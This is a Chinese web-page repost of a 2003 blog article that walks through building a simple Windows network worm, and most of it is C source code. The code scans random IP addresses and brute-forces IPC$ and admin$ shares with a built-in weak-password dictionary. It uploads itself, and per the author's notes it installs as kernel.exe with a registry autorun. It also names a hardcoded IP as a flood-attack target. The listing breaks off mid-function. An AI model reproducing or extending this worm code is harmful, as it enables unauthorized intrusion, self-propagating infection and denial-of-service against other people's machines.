DIY一个简单共享儒虫[1]

[入库:2005年8月19日] [更新:2007年3月24日]

本文简介:选择自 liond8 的 blog

diy一个简单共享儒虫

/*
writeby:liond8
qq: 10415468
2003.2


 声明:
 本人 是为了 学习实践才写的,请大家 也只用来学习,测试用,请不要
 在inter网上传播,否则引起的任何事情与本人和重庆黑盟无关


 先来讲讲基本思路 这个儒虫比较简单,主要是通过扫描弱口令,和共享资源进行传播。
 并且伪装一个文件夹。 当其他人 运行它后,会在系统目录复制成 kernerl.exe 的文件
 并修改注册表, 下次开机 自动 运行 kernel.exe 再去感染其他机器。原理很简单。

 程序在调试的时候是控制台模式,所有的_tprintf是调试所用在winmain里没有作用

 本病毒,没有自我保护部分,会被轻而一举的杀死。因为保护部分比较麻烦。本来做了
 一点但是 没有成功。再加上 没有多少时间,找错。就暂时不做了。 :)
 要是 哪位高手 感兴趣, 有什么好点子。一起研究啊! (上面有qq)
 由于没有自我保护不会,这算是一个失败的儒虫,估计传播力度不大。
 由于在网上 传播病毒 违法,我也 不敢试试 威力,就只在 本机和虚拟机上测试了一下
 能达到预期目的。

 代码如下: (现丑了)
*/
#define unicode
#define _unicode

#include "winsock2.h"
#include <ws2tcpip.h>
#include "windows.h"
#include "stdio.h"
#include "lm.h"
#include "tchar.h"

#pragma comment (lib,"ws2_32")
#pragma comment (lib,"mpr")
#pragma comment (lib,"netapi32")

typedef struct _ihdr
{
 byte i_type; //8位类型
 byte i_code; //8位代码
 ushort i_cksum; //16位校验和
 ushort i_id; //识别号
 ushort i_seq; //报文序列号
 ulong timestamp; //时间戳
}icmp_header;

typedef  struct
{
int size;
sockaddr_in attack;
char* buf;
socket s;
}netinfor;  //用来传递给attack函数的基本信息

tchar *desip=_t("209.67.3.106"); //攻击的目标 可以是白宫 :)

bool callback getuserlist(tchar *server,tchar name[50][30]);
bool callback connectremote(bool,tchar *,tchar *,tchar *,tchar *);
void callback randomip(tchar* rip);
dword callback spread(lpvoid);
bool callback getsouces(tchar *server,tchar souce[15][20]);
void callback upfile(tchar *rip, tchar *name, tchar *pass, tchar souce[15][20]);
dword winapi attack(lpvoid);


ushort checksum(ushort *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1)
  {
   cksum+=*buffer++;
   size -=sizeof(ushort);
  }
 if(size )
  {
   cksum += *(uchar*)buffer;
  }
 cksum = (cksum >> 16) + (cksum & 0xffff);
 cksum += (cksum >>16);
 return (ushort)(~cksum);
}



dword winapi spread(lpvoid)  //传播 如果探测到密码 就上传病毒
{
tchar password[15][15]={_t(""),_t("asdf"),_t("123456789"),_t("911110"),_t("666888"),_t("hacker"),
_t("hello"),_t("password"),_t("123456"),_t("111"),_t("administrator"),_t("admin"),_t("system"),
_t("windows"),_t("123321")}; //一个内置字典 ,可以自己扩充
while(true)
{
tchar rip[50]=_t("");
tchar name[30]=_t("");
tchar pass[15]=_t("");
tchar username[50][30]={0};
tchar souce[15][20]={0};
randomip(rip);
netresource nr;
  dword    ret;
  tchar    ipc[100]=_t("");
swprintf(ipc,_t("\\\\%s\\ipc$"),rip);
  nr.lplocalname=null;
  nr.lpprovider=null;
  nr.dwtype=resourcetype_any;
  nr.lpremotename=ipc;
  ret=wnetaddconnection2(&nr,pass,name,0);

  if(ret!=error_success)
  {
    printf("\nipc$ connect failed.\n");
continue;
  }
if( getuserlist(rip,username) && getsouces(rip,souce) )
{
ret=wnetcancelconnection2(ipc,0,true); 
if(ret!=error_success)
{
  _tprintf(_t("ipc$ disconnect failed.\n"));
  // return -1;
}
bool isok=false;
int k=0;
int i;
for (i=0; username[0]!=0 ; i++)
{
_tprintf(_t("\n next username!"));
while(k<15)
if ( connectremote(true,rip,username,password[k],_t("admin$")) )
{
isok=true;
wcscpy(name,username);
wcscpy(pass,password[k]);
connectremote(false,rip,username,password[k],_t("admin$"));
goto spreadsuccess;
}
else k++;
if ( connectremote(true,rip,username,username,_t("admin$")) )
{
isok=true;
wcscpy(name,username);
wcscpy(pass,username);
connectremote(false,rip,username,username,_t("admin$"));
goto spreadsuccess;
}
}
spreadsuccess:
if(isok)
{
upfile(rip,name,pass,souce);
}
}
else wnetcancelconnection2(ipc,0,true); 
sleep(10);
}
}

//=============================================================
bool callback connectremote(bool bconnect,tchar *lphost,tchar *lpusername,tchar *lppassword,tchar *lpsouce)
{
  tchar     lpipc[256]={0};
  dword     dwerrorcode;
  netresource  netresource;

swprintf(lpipc,_t("\\\\%s\\%s"),lphost,lpsouce);

  netresource.lplocalname = null;
  netresource.lpremotename = lpipc;
  netresource.dwtype    = resourcetype_any;
  netresource.lpprovider  = null;

  if(!wcsicmp(lppassword,_t("null")))
  {
    lppassword=null;
  }

  if(bconnect)
  {
    _tprintf(_t("now connecting ...... "));
    while(1)
    {
         dwerrorcode=wnetaddconnection2(&netresource,lppassword,lpusername,0);
               if((dwerrorcode==error_already_assigned) || (dwerrorcode==error_device_already_remembered))
      {
               wnetcancelconnection2(lpipc,0,true);
      }
         else if(dwerrorcode==no_error)
      {
               _tprintf(_t("success !\n"));
                break;
      }

本文关键:DIY一个简单共享儒虫
  相关方案
Google
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top